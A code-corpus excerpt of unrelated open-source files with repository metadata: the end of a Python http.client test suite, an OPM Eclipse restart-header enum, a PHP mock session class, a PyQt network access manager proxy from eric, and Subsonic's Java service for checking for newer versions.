"fe80::207:e9ff:fe9b", 80)): c = client.HTTPConnection(hp) self.assertEqual(h, c.host) self.assertEqual(p, c.port) def test_response_headers(self): # test response with multiple message headers with the same field name. text = ('HTTP/1.1 200 OK\r\n' 'Set-Cookie: Customer="WILE_E_COYOTE"; ' 'Version="1"; Path="/acme"\r\n' 'Set-Cookie: Part_Number="Rocket_Launcher_0001"; Version="1";' ' Path="/acme"\r\n' '\r\n' 'No body\r\n') hdr = ('Customer="WILE_E_COYOTE"; Version="1"; Path="/acme"' ', ' 'Part_Number="Rocket_Launcher_0001"; Version="1"; Path="/acme"') s = FakeSocket(text) r = client.HTTPResponse(s) r.begin() cookies = r.getheader("Set-Cookie") self.assertEqual(cookies, hdr) def test_read_head(self): # Test that the library doesn't attempt to read any data # from a HEAD request. (Tickles SF bug #622042.) sock = FakeSocket( 'HTTP/1.1 200 OK\r\n' 'Content-Length: 14432\r\n' '\r\n', NoEOFStringIO) resp = client.HTTPResponse(sock, method="HEAD") resp.begin() if resp.read(): self.fail("Did not expect response from HEAD request") def test_send_file(self): expected = (b'GET /foo HTTP/1.1\r\nHost: example.com\r\n' b'Accept-Encoding: identity\r\nContent-Length:') body = open(__file__, 'rb') conn = client.HTTPConnection('example.com') sock = FakeSocket(body) conn.sock = sock conn.request('GET', '/foo', body) self.assertTrue(sock.data.startswith(expected), '%r != %r' % (sock.data[:len(expected)], expected)) def test_chunked(self): chunked_start = ( 'HTTP/1.1 200 OK\r\n' 'Transfer-Encoding: chunked\r\n\r\n' 'a\r\n' 'hello worl\r\n' '1\r\n' 'd\r\n' ) sock = FakeSocket(chunked_start + '0\r\n') resp = client.HTTPResponse(sock, method="GET") resp.begin() self.assertEquals(resp.read(), b'hello world') resp.close() for x in ('', 'foo\r\n'): sock = FakeSocket(chunked_start + x) resp = client.HTTPResponse(sock, method="GET") resp.begin() try: resp.read() except client.IncompleteRead as i: self.assertEquals(i.partial, b'hello world') self.assertEqual(repr(i),'IncompleteRead(11 bytes read)') self.assertEqual(str(i),'IncompleteRead(11 bytes read)') else: self.fail('IncompleteRead expected') finally: resp.close() def test_negative_content_length(self): sock = FakeSocket( 'HTTP/1.1 200 OK\r\nContent-Length: -1\r\n\r\nHello\r\n') resp = client.HTTPResponse(sock, method="GET") resp.begin() self.assertEquals(resp.read(), b'Hello\r\n') resp.close() def test_incomplete_read(self): sock = FakeSocket('HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nHello\r\n') resp = client.HTTPResponse(sock, method="GET") resp.begin() try: resp.read() except client.IncompleteRead as i: self.assertEquals(i.partial, b'Hello\r\n') self.assertEqual(repr(i), "IncompleteRead(7 bytes read, 3 more expected)") self.assertEqual(str(i), "IncompleteRead(7 bytes read, 3 more expected)") else: self.fail('IncompleteRead expected') finally: resp.close() def test_epipe(self): sock = EPipeSocket( "HTTP/1.0 401 Authorization Required\r\n" "Content-type: text/html\r\n" "WWW-Authenticate: Basic realm=\"example\"\r\n", b"Content-Length") conn = client.HTTPConnection("example.com") conn.sock = sock self.assertRaises(socket.error, lambda: conn.request("PUT", "/url", "body")) resp = conn.getresponse() self.assertEqual(401, resp.status) self.assertEqual("Basic realm=\"example\"", resp.getheader("www-authenticate")) class OfflineTest(TestCase): def test_responses(self): self.assertEquals(client.responses[client.NOT_FOUND], "Not Found") class TimeoutTest(TestCase): PORT = None def setUp(self): self.serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) TimeoutTest.PORT = support.bind_port(self.serv) self.serv.listen(5) def tearDown(self): self.serv.close() self.serv = None def testTimeoutAttribute(self): # This will prove that the timeout gets through HTTPConnection # and into the socket. # default -- use global socket timeout self.assertTrue(socket.getdefaulttimeout() is None) socket.setdefaulttimeout(30) try: httpConn = client.HTTPConnection(HOST, TimeoutTest.PORT) httpConn.connect() finally: socket.setdefaulttimeout(None) self.assertEqual(httpConn.sock.gettimeout(), 30) httpConn.close() # no timeout -- do not use global socket default self.assertTrue(socket.getdefaulttimeout() is None) socket.setdefaulttimeout(30) try: httpConn = client.HTTPConnection(HOST, TimeoutTest.PORT, timeout=None) httpConn.connect() finally: socket.setdefaulttimeout(None) self.assertEqual(httpConn.sock.gettimeout(), None) httpConn.close() # a value httpConn = client.HTTPConnection(HOST, TimeoutTest.PORT, timeout=30) httpConn.connect() self.assertEqual(httpConn.sock.gettimeout(), 30) httpConn.close() class HTTPSTimeoutTest(TestCase): # XXX Here should be tests for HTTPS, there isn't any right now! def test_attributes(self): # simple test to check it's storing it if hasattr(client, 'HTTPSConnection'): h = client.HTTPSConnection(HOST, TimeoutTest.PORT, timeout=30) self.assertEqual(h.timeout, 30) class RequestBodyTest(TestCase): """Test cases where a request includes a message body.""" def setUp(self): self.conn = client.HTTPConnection('example.com') self.conn.sock = self.sock = FakeSocket("") self.conn.sock = self.sock def get_headers_and_fp(self): f = io.BytesIO(self.sock.data) f.readline() # read the request line message = client.parse_headers(f) return message, f def test_manual_content_length(self): # Set an incorrect content-length so that we can verify that # it will not be over-ridden by the library. self.conn.request("PUT", "/url", "body", {"Content-Length": "42"}) message, f = self.get_headers_and_fp() self.assertEqual("42", message.get("content-length")) self.assertEqual(4, len(f.read())) def test_ascii_body(self): self.conn.request("PUT", "/url", "body") message, f = self.get_headers_and_fp() self.assertEqual("text/plain", message.get_content_type()) self.assertEqual(None, message.get_charset()) self.assertEqual("4", message.get("content-length")) self.assertEqual(b'body', f.read()) def test_latin1_body(self): self.conn.request("PUT", "/url", "body\xc1") message, f = self.get_headers_and_fp() self.assertEqual("text/plain", message.get_content_type()) self.assertEqual(None, message.get_charset()) self.assertEqual("5", message.get("content-length")) self.assertEqual(b'body\xc1', f.read()) def test_bytes_body(self): self.conn.request("PUT", "/url", b"body\xc1") message, f = self.get_headers_and_fp() self.assertEqual("text/plain", message.get_content_type()) self.assertEqual(None, message.get_charset()) self.assertEqual("5", message.get("content-length")) self.assertEqual(b'body\xc1', f.read()) def test_file_body(self): f = open(support.TESTFN, "w") f.write("body") f.close() f = open(support.TESTFN) self.conn.request("PUT", "/url", f) message, f = self.get_headers_and_fp() self.assertEqual("text/plain", message.get_content_type()) self.assertEqual(None, message.get_charset()) self.assertEqual("4", message.get("content-length")) self.assertEqual(b'body', f.read()) def test_binary_file_body(self): f = open(support.TESTFN, "wb") f.write(b"body\xc1") f.close() f = open(support.TESTFN, "rb") self.conn.request("PUT", "/url", f) message, f = self.get_headers_and_fp() self.assertEqual("text/plain", message.get_content_type()) self.assertEqual(None, message.get_charset()) self.assertEqual("5", message.get("content-length")) self.assertEqual(b'body\xc1', f.read()) def test_main(verbose=None): support.run_unittest(HeaderTests, OfflineTest, BasicTest, TimeoutTest, HTTPSTimeoutTest, RequestBodyTest) if __name__ == '__main__': test_main()
gpl-3.0
andlaus/opm-common
opm/output/eclipse/VectorItems/intehead.hpp
4539
/* Copyright (c) 2018 Equinor ASA This file is part of the Open Porous Media project (OPM). OPM is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. OPM is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OPM. If not, see <http://www.gnu.org/licenses/>. */ #ifndef OPM_OUTPUT_ECLIPSE_VECTOR_INTEHEAD_HPP #define OPM_OUTPUT_ECLIPSE_VECTOR_INTEHEAD_HPP #include <vector> namespace Opm { namespace RestartIO { namespace Helpers { namespace VectorItems { // This is a subset of the items in src/opm/output/eclipse/InteHEAD.cpp . // Promote items from that list to this in order to make them public. enum intehead : std::vector<int>::size_type { ISNUM = 0, // An encoded integer corresponding to the // time the file was created. For files not // originating from ECLIPSE, this value may // be set to zero. VERSION = 1, // Simulator version UNIT = 2, // Units convention // 1: METRIC, 2: FIELD, 3: LAB, 4: PVT-M NX = 8, // #cells in X direction (Cartesian) NY = 9, // #cells in Y direction (Cartesian) NZ = 10, // #cells in Z direction (Cartesian) NACTIV = 11, // Number of active cells PHASE = 14, // Phase indicator: // 1: oil, 2: water, 3: O/W, 4: gas, // 5: G/O, 6: G/W, 7: O/G/W NWELLS = 16, // Number of wells NCWMAX = 17, // Maximum number of completions per well NWGMAX = 19, // Maximum number of wells in any well group NGMAXZ = 20, // Maximum number of groups in field NIWELZ = 24, // Number of data elements per well in IWEL array // (default 97 for ECLIPSE, 94 for ECLIPSE 300). NSWELZ = 25, // Number of data elements per well in SWEL array NXWELZ = 26, // Number of delements per well in XWEL array NZWELZ = 27, // Number of 8-character words per well in ZWEL array NICONZ = 32, // Number of data elements per completion // in ICON array (default 19) NSCONZ = 33, // Number of data elements per completion in SCON array NXCONZ = 34, // Number of data elements per completion in XCON array NIGRPZ = 36, // Number of data elements per group in IGRP array NSGRPZ = 37, // Number of data elements per group in SGRP array NXGRPZ = 38, // Number of data elements per group in XGRP array NZGRPZ = 39, // Number of data elements per group in ZGRP array NCAMAX = 41, // Maximum number of analytic aquifer connections NIAAQZ = 42, // Number of data elements per aquifer in IAAQ array NSAAQZ = 43, // Number of data elements per aquifer in SAAQ array NXAAQZ = 44, // Number of data elements per aquifer in XAAQ array NICAQZ = 45, // Number of data elements per aquifer connection in ICAQ array NSCAQZ = 46, // Number of data elements per aquifer connection in SCAQ array NACAQZ = 47, // Number of data elements per aquifer connection in ACAQ array NSEGWL = 174, // Number of multisegment wells defined with WELSEG NSWLMX = 175, // Maximum number of segmented wells (item 1 ofWSEGDIMS) NSEGMX = 176, // Maximum number of segments per well (item 2 of WSEGDIMS) NLBRMX = 177, // Maximum number of lateral branches (item 3 of WSEGDIMS) NISEGZ = 178, // Number of entries per segment in ISEG array NRSEGZ = 179, // Number of entries per segment in RSEG array NILBRZ = 180, // Number of entries per segment in ILBR array }; }}}} // Opm::RestartIO::Helpers::VectorItems #endif // OPM_OUTPUT_ECLIPSE_VECTOR_INTEHEAD_HPP
gpl-3.0
themegrill/restaurantpress
tests/framework/class-rp-mock-session-handler.php
124
<?php /** * RestaurantPress Mock Session Handler * * @since 1.7 */ class RP_Mock_Session_Handler extends RP_Session { }
gpl-3.0
davy39/eric
Helpviewer/Network/NetworkAccessManagerProxy.py
3013
# -*- coding: utf-8 -*- # Copyright (c) 2009 - 2014 Detlev Offenbach <detlev@die-offenbachs.de> # """ Module implementing a network access manager proxy for web pages. """ from __future__ import unicode_literals from PyQt5.QtNetwork import QNetworkAccessManager, QNetworkRequest try: from PyQt5.QtNetwork import QSslError # __IGNORE_EXCEPTION__ __IGNORE_WARNING__ SSL_AVAILABLE = True except ImportError: SSL_AVAILABLE = False class NetworkAccessManagerProxy(QNetworkAccessManager): """ Class implementing a network access manager proxy for web pages. """ primaryManager = None def __init__(self, parent=None): """ Constructor @param parent reference to the parent object (QObject) """ super(NetworkAccessManagerProxy, self).__init__(parent) self.__webPage = None def setWebPage(self, page): """ Public method to set the reference to a web page. @param page reference to the web page object (HelpWebPage) """ assert page is not None self.__webPage = page def setPrimaryNetworkAccessManager(self, manager): """ Public method to set the primary network access manager. @param manager reference to the network access manager object (QNetworkAccessManager) """ assert manager is not None if self.__class__.primaryManager is None: self.__class__.primaryManager = manager self.setCookieJar(self.__class__.primaryManager.cookieJar()) # do not steal ownership self.cookieJar().setParent(self.__class__.primaryManager) if SSL_AVAILABLE: self.sslErrors.connect(self.__class__.primaryManager.sslErrors) self.proxyAuthenticationRequired.connect( self.__class__.primaryManager.proxyAuthenticationRequired) self.authenticationRequired.connect( self.__class__.primaryManager.authenticationRequired) self.finished.connect(self.__class__.primaryManager.finished) def createRequest(self, op, request, outgoingData=None): """ Public method to create a request. @param op the operation to be performed (QNetworkAccessManager.Operation) @param request reference to the request object (QNetworkRequest) @param outgoingData reference to an IODevice containing data to be sent (QIODevice) @return reference to the created reply object (QNetworkReply) """ if self.primaryManager is not None: pageRequest = QNetworkRequest(request) if self.__webPage is not None: self.__webPage.populateNetworkRequest(pageRequest) return self.primaryManager.createRequest( op, pageRequest, outgoingData) else: return QNetworkAccessManager.createRequest( self, op, request, outgoingData)
gpl-3.0
Adi3000/subsonic-main
src/main/java/net/sourceforge/subsonic/service/VersionService.java
9386
/* This file is part of Subsonic. Subsonic is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Subsonic is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Subsonic. If not, see <http://www.gnu.org/licenses/>. Copyright 2009 (C) Sindre Mehus */ package net.sourceforge.subsonic.service; import net.sourceforge.subsonic.Logger; import net.sourceforge.subsonic.domain.Version; import org.apache.commons.io.IOUtils; import org.apache.http.client.HttpClient; import org.apache.http.client.ResponseHandler; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.BasicResponseHandler; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.params.HttpConnectionParams; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.StringReader; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Provides version-related services, including functionality for determining whether a newer * version of Subsonic is available. * * @author Sindre Mehus */ public class VersionService { private static final DateFormat DATE_FORMAT = new SimpleDateFormat("yyyyMMdd"); private static final Logger LOG = Logger.getLogger(VersionService.class); private Version localVersion; private Version latestFinalVersion; private Version latestBetaVersion; private Date localBuildDate; private String localBuildNumber; /** * Time when latest version was fetched (in milliseconds). */ private long lastVersionFetched; /** * Only fetch last version this often (in milliseconds.). */ private static final long LAST_VERSION_FETCH_INTERVAL = 7L * 24L * 3600L * 1000L; // One week /** * URL from which to fetch latest versions. */ private static final String VERSION_URL = "http://subsonic.org/backend/version.view"; /** * Returns the version number for the locally installed Subsonic version. * * @return The version number for the locally installed Subsonic version. */ public synchronized Version getLocalVersion() { if (localVersion == null) { try { localVersion = new Version(readLineFromResource("/version.txt")); LOG.info("Resolved local Subsonic version to: " + localVersion); } catch (Exception x) { LOG.warn("Failed to resolve local Subsonic version.", x); } } return localVersion; } /** * Returns the version number for the latest available Subsonic final version. * * @return The version number for the latest available Subsonic final version, or <code>null</code> * if the version number can't be resolved. */ public synchronized Version getLatestFinalVersion() { refreshLatestVersion(); return latestFinalVersion; } /** * Returns the version number for the latest available Subsonic beta version. * * @return The version number for the latest available Subsonic beta version, or <code>null</code> * if the version number can't be resolved. */ public synchronized Version getLatestBetaVersion() { refreshLatestVersion(); return latestBetaVersion; } /** * Returns the build date for the locally installed Subsonic version. * * @return The build date for the locally installed Subsonic version, or <code>null</code> * if the build date can't be resolved. */ public synchronized Date getLocalBuildDate() { if (localBuildDate == null) { try { String date = readLineFromResource("/build_date.txt"); localBuildDate = DATE_FORMAT.parse(date); } catch (Exception x) { LOG.warn("Failed to resolve local Subsonic build date.", x); } } return localBuildDate; } /** * Returns the build number for the locally installed Subsonic version. * * @return The build number for the locally installed Subsonic version, or <code>null</code> * if the build number can't be resolved. */ public synchronized String getLocalBuildNumber() { if (localBuildNumber == null) { try { localBuildNumber = readLineFromResource("/build_number.txt"); } catch (Exception x) { LOG.warn("Failed to resolve local Subsonic build number.", x); } } return localBuildNumber; } /** * Returns whether a new final version of Subsonic is available. * * @return Whether a new final version of Subsonic is available. */ public boolean isNewFinalVersionAvailable() { Version latest = getLatestFinalVersion(); Version local = getLocalVersion(); if (latest == null || local == null) { return false; } return local.compareTo(latest) < 0; } /** * Returns whether a new beta version of Subsonic is available. * * @return Whether a new beta version of Subsonic is available. */ public boolean isNewBetaVersionAvailable() { Version latest = getLatestBetaVersion(); Version local = getLocalVersion(); if (latest == null || local == null) { return false; } return local.compareTo(latest) < 0; } /** * Reads the first line from the resource with the given name. * * @param resourceName The resource name. * @return The first line of the resource. */ private String readLineFromResource(String resourceName) { InputStream in = VersionService.class.getResourceAsStream(resourceName); if (in == null) { return null; } BufferedReader reader = null; try { reader = new BufferedReader(new InputStreamReader(in)); return reader.readLine(); } catch (IOException x) { return null; } finally { IOUtils.closeQuietly(reader); IOUtils.closeQuietly(in); } } /** * Refreshes the latest final and beta versions. */ private void refreshLatestVersion() { long now = System.currentTimeMillis(); boolean isOutdated = now - lastVersionFetched > LAST_VERSION_FETCH_INTERVAL; if (isOutdated) { try { lastVersionFetched = now; readLatestVersion(); } catch (Exception x) { LOG.warn("Failed to resolve latest Subsonic version.", x); } } } /** * Resolves the latest available Subsonic version by screen-scraping a web page. * * @throws IOException If an I/O error occurs. */ private void readLatestVersion() throws IOException { HttpClient client = new DefaultHttpClient(); HttpConnectionParams.setConnectionTimeout(client.getParams(), 10000); HttpConnectionParams.setSoTimeout(client.getParams(), 10000); HttpGet method = new HttpGet(VERSION_URL + "?v=" + getLocalVersion()); String content; try { ResponseHandler<String> responseHandler = new BasicResponseHandler(); content = client.execute(method, responseHandler); } finally { client.getConnectionManager().shutdown(); } BufferedReader reader = new BufferedReader(new StringReader(content)); Pattern finalPattern = Pattern.compile("SUBSONIC_FULL_VERSION_BEGIN(.*)SUBSONIC_FULL_VERSION_END"); Pattern betaPattern = Pattern.compile("SUBSONIC_BETA_VERSION_BEGIN(.*)SUBSONIC_BETA_VERSION_END"); try { String line = reader.readLine(); while (line != null) { Matcher finalMatcher = finalPattern.matcher(line); if (finalMatcher.find()) { latestFinalVersion = new Version(finalMatcher.group(1)); LOG.info("Resolved latest Subsonic final version to: " + latestFinalVersion); } Matcher betaMatcher = betaPattern.matcher(line); if (betaMatcher.find()) { latestBetaVersion = new Version(betaMatcher.group(1)); LOG.info("Resolved latest Subsonic beta version to: " + latestBetaVersion); } line = reader.readLine(); } } finally { reader.close(); } } }
gpl-3.0